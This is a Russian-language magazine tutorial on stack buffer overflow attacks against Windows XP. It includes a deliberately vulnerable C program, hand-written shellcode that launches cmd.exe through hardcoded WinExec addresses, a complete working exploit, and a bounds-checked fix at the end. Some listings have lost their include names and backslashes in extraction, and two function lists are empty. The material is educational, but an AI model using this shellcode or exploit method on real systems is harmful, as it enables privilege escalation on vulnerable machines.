СТАНИСЛАВ ГОШКО
Переполнение буфера в Windows NT/2000/XP
Пусть что угодно говорят поклонники *nix-систем, но защита в последних версиях операционных систем семейства Windows сделала громадный скачок вперёд. И так как языки C и C++ очень распространены и на платформах Windows, то атаки на переполнение буфера стали реальной угрозой безопасности. Атаки такого типа известны уже очень давно, со времен операции «Полуденный бес», которая проводилась в США, начиная с мая 1990 года, и была направлена против хакеров. Её проводила «Секретная Служба». Переполнение буфера, правда, на операционные системы семейства *nix использовалось хакерами по полной программе. Но реальная угроза данных атак на операционные системы семейства Windows появилась гораздо позднее, в 1995-2002 годах.
Смысл атак на переполнение буфера заключается в том, что существуют программы, запущенные с большими привилегиями, чем у пользователя, и благодаря переполнению буфера для пользователя стало возможно получить эти привилегии (уязвимой программы).
Мы рассмотрим одну из самых распространённых атак на переполнение буфера. Это так называемая атака на «срыв стека». В большинстве своём данные атаки возможны во многих программах, написанных на языках программирования C или C++.
Поэтому мы рассмотрим пример уязвимой программы, а также разработаем для неё эксплоит (программу, которая реализует данную уязвимость).
Начнём с разработки простой программы, содержащей данную уязвимость:
#include
#include
void vuln_func(char *stroka)
{
char buffer[100];
// буфер
lstrcpyA(buffer,stroka);
// функция, в результате вызывающая переполнение буфера
}
void main (int argc, char *argv[])
{
vuln_func(argv[1]);
// вызов уязвимой функции
printf("Parameter is : %s",argv[1]);
}
Откомпилируем её и выясним, что делает эта программа. Если запустить её без параметров, то она выведет следующее:
Запустим её следующим образом:
c:x-filesug.exe aaaaaaa
Тогда данная программа выведет:
Parameter is : aaaaaaa
Но если в качестве параметра передать количество «a» большее, чем 100, то данная программа просто ничего не выведет в отличие от Windows NT, которая выводила сообщение об ошибке. Поэтому реализовать атаку данного типа под операционной системой Windows XP будет несколько сложнее. Теперь давайте возьмём отладчик и посмотрим, что же происходит при вызове нашей уязвимой функции.
Будем рассматривать пошагово:
- При вызове функции vuln_func в стек заносится адрес следующей инструкции (printf).
- Рассмотрим вид стека перед вызовом функции lstrcpyA:
…
|
адрес возврата
|
переменная buff
|
…
|
- Рассмотрим вид стека после вызова функции lstrcpyA:
"aaaaaaaaaaaaaaaaaaaa"
|
0x61616161
|
переменная buff
|
…
|
Так как наша переменная росла к адресу возврата, и когда ей стало не хватать места, она молча и без вопросов переписала адрес возврата нашими любимыми буквами «aaaaaaaa...». Раз мы можем переписать адрес возврата, значит, мы можем и заставить нашу программу выполнять наш код.
Для этого вместо букв «a» мы будем использовать символ с кодом 90 («x90»), что означает инструкцию ассемблера nop (задержка процессора на один такт). Также нам необходимо точно определить, какими байтами (по счёту) перезаписывается адрес возврата, чтобы мы знали, куда записывать наш новый адрес возврата.
Обычно это делается методом «грубой силы», а потом по сообщению об ошибке определяются байты, по которым был совершён переход. Но данный метод в нашем случае не уместен, т.к. в Windows XP сообщение об ошибке не вываливается. Поэтому нам придётся вручную при помощи отладчика подсчитывать, какие по счёту nop перетёрли адрес возврата, это несложно и нетрудоёмко, т.к. в стеке все приравнивается к двойному слову (4 байта). В нашем случае это оказались 4 байта, начиная со 104.
Теперь, когда мы знаем, какими байтами перетирается адрес возврата, мы должны подменить его таким образом, чтобы он передал управление нашему коду, а если быть более точным, то он должен передать управление на наши nop. Реально очень удобно просто передать управление в отладчике на наши инструкции, но если это удалённое переполнение буфера или у вас нет под рукой отладчика? При помощи прямой подмены адреса на наш вычисленный адрес стека не получится, потому что адрес стека начинается с нуля, а наш код не должен состоять из нулей.
Поэтому оптимальным вариантом будет обнаружить в памяти используемых программой библиотек или в памяти самой программы обнаружить байты, соответствующие инструкции «jmp esp» - ff e4. В статье Андрея Колищака (1) предлагался вариант использования инструкции «call esp», но с этим вариантом я должен не согласиться, так как при переходе на эту инструкцию с последующим её исполнением мы перетираем байты, находящиеся по адресу esp, т.е. мы сами себе портим жизнь (при переходе на esp нам будет очень сложно запустить наш код). Поэтому оптимальным вариантом будет поиск в памяти байт «ff e4». В результате поиска мы обнаружили данные байты в библиотеке USER32.dll и запомнили адрес (в каждой версии операционной системы он может быть отличным).
Теперь мы должны заняться формированием shell-кода – это будет строка Command Promt. Реально мы должны запустить программу cmd.exe. Чтобы не морочить вам голову «кривыми» аналогами данной программы на C, начнём её писать сразу на ассемблере, но перед этим мы должны кое в чём разобраться.
- Наш эксплоит будет зависеть от USER32.dll, что означает на других версиях операционной системы Windows XP, по всей видимости, он работать не будет.
- Исходя из предыдущего пункта, мы видим, что не имеет смысла встраивать в наш shell-код обнаружение адреса ядра и функции GetProcAddress.
Поэтому для экономии места мы в эксплоите жёстко зафиксируем адрес нужной нам функции WinExec.
Аналог того, что будет делать наш эксплоит на С, будет выглядеть примерно так:
#include
void main()
{
WinExec("cmd.exe",1);
}
Для определения адресов функций, которые необходимы для корректной работы эксплоита, напишем ещё одну маленькую программу.
#include "windows.h"
#include "stdio.h"
main(int argc, char *argv[])
{
// Данные, необходимые для работы программы
HMODULE hnd1;
FARPROC a;
char *name1;
char *modul1;
// Вывод сообщения об использовании утилиты
printf("Usage GETADDR ");
if (argc < 3)
{
// Если запущены без параметров, то выведем адреса
// KERNEL32 и WIN API функции GetProcAddress
name1="GetProcAddress";
modul1="KERNEL32";
}
else
// Если запущены с параметрами, то выведем по запросу
// пользователя
{
name1=argv[2];
modul1=argv[1];
}
// Получаем адрес модуля
hnd1=GetModuleHandle(modul1);
// Получаем адрес WIN API функции
a=GetProcAddress(hnd1,name1);
// Выводим оба адреса
printf("Module=[%s] Address=%xh ",modul1,hnd1);
printf("Function=[%s] Address=%xh ",name1,a);
// Выход из программы
return(0);
}
При помощи данной программы мы должны определить адреса следующих WIN API-функций:
Данные функции находятся в ядре (kernel32.dll).
Вот теперь мы готовы перейти к разработке shell-кода на ассемблере. Наш shell-код не будет использовать шифрование текстовых строк, так как в нём будет только одна текстовая строка с финальным нулём, так же мы не должны использовать в тексте кода нулей, опять же из-за особенностей стека.
Рассмотрим листинг:
.386
.model flat, stdcall
extrn ExitProcess:proc
.data
start:
;---------------[ SUPA SHELL CODE]------------------------
nach:
push 1 ; Параметр для вызова WinExec
mov esi,esp ; Устанавливаем esi на стек
try: ;
lodsd ; Ищем текстовую строку
cmp eax,012345678h ; с именем программы
jne try ;
push esi ; Нашли, положим, смещение
; в стек
mov eax,77e684c6h ; Кладем в eax адрес функции
call eax ; Вызываем WinExec -> cmd.exe
nop ; Эти nop для выравнивания
nop ; на границу двойного слова
xor eax,eax ; Обнуляем eax
push eax ; Кладем 0 в стек (параметр)
mov eax,77e75cb5h ; Кладем в eax адрес функции
call eax ; Call ExitProcess
name1:
dd 012345678h ; "Метка" имени программы
db "cmd.exe",0 ; Имя программы
kon:
;---------------------------------------------------------
.code
nop ;
end start
end
Теперь, после всех этих изнурительных подготовительных действий, мы готовы написать эксплоит, использующий уязвимость в нашей программе.
Переходим к листингу эксплоита:
#include
#include
void main (int argc, char *argv[])
{
char *shell1=
"x6ax01x8bxf4xadx3dx78x56x34x12x75xf8x56xb8xc6x84"
"xe6x77xffxd0x90x90x33xc0x50xb8xb5x5cxe7x77xffxd0"
"x78x56x34x12x63x6dx64x2ex65x78x65";
char mass[152];
char buff[160]="BUG.EXE ";
// n0p"s
memset(mass,"x90",104);
// n0p"s + jmp esp
strcat(mass,"x4ax75xd7x77");
// n0p"s + jmp esp + shell_c0de
strcat(mass,shell1);
// file_name + n0p"s + jmp esp + shell_c0de
strcat(buff,mass);
WinExec(buff,1);
}
В начале данного эксплоита идёт описание переменных, и в том числе там есть наш shell-код и имя уязвимого файла. Далее мы формируем строку:
- Кладем туда 104 nop (на самом деле туда можно положить всё что душе угодно, так как управление будет передаваться всё равно за адрес возврата);
- Затем в эту строку добавляем адрес инструкции «jmp esp»;
- И только после этого адреса в строку помещаем наш shell-код;
- В переменную buff к имени файла добавляется наша строка с nop с новым адресом возврата и с shell-кодом.
После того как строка запуска программы передаётся в функцию WinExec, мы получаем нашу долгожданную и любимую консоль.
Реально наша программа была запущена примерно следующим образом:
c:x-filesug.exe PPPPPPPPPPPPPPPP...РР[new_addr][shell_c0de]
Где new_addr – это новый адрес возврата, а shell_c0de – это наш shell-код.
В завершении статьи необходимо сказать, что существует возможность поиска адреса ядра в памяти, но в данном случае это неуместно, так как эксплоит получился зависимым от версии операционной системы. Вот если бы мы необходимую нам как воздух инструкцию (jmp esp) обнаружили в самой программе, то это было бы просто необходимо, и тогда бы наш эксплоит получился независимым от операционной системы.
Существует возможность «сбрасывания» не только локальной консоли, но и удалённой. Shell-код для такого рода backdoor был написан неким dark spyrit и опубликован в журнале «Phrack».
Стоит перечислить несколько уязвимых функций:
И их аналоги, адаптированные под Windows-системы:
Атаки данного типа представляют серьёзную угрозу. Для того чтобы от них защититься, всегда необходимо проверять, чтобы размер приёмника был больше того, что в него помещается. Для примера мы исправим нашу уязвимую программу. Так, чтобы она не была подвержена данной атаке.
Перейдём к листингу:
#include
#include
void vuln_func(char *stroka)
{
char buffer[100]; // буфер
if (sizeof(buffer)>strlen(stroka)) // !!!!!!!!!!!!!!!!
// функция в результате вызывающая переполнение буфера
lstrcpyA(buffer,stroka);
}
void main (int argc, char *argv[])
{
vuln_func(argv[1]); // вызов уязвимой функции
printf("Parameter is : %s",argv[1]);
}
Строка, отмеченная восклицательными знаками, проверяет соответствие размеров строк, что предотвращает возможность переполнения буфера в данной программе.
Таким образом, мы рассмотрели одну из самых распространённых хакерских атак в применении к Windows XP, а также возможности её предотвращения.
При написании статьи использовались материалы:
- «Атаки на переполнение стека в Windows NT» – http://hackzone.ru/articles/ntbo.html
- «Smashing The Stack For Fun And Profit» by Aleph1 – www.phrack.or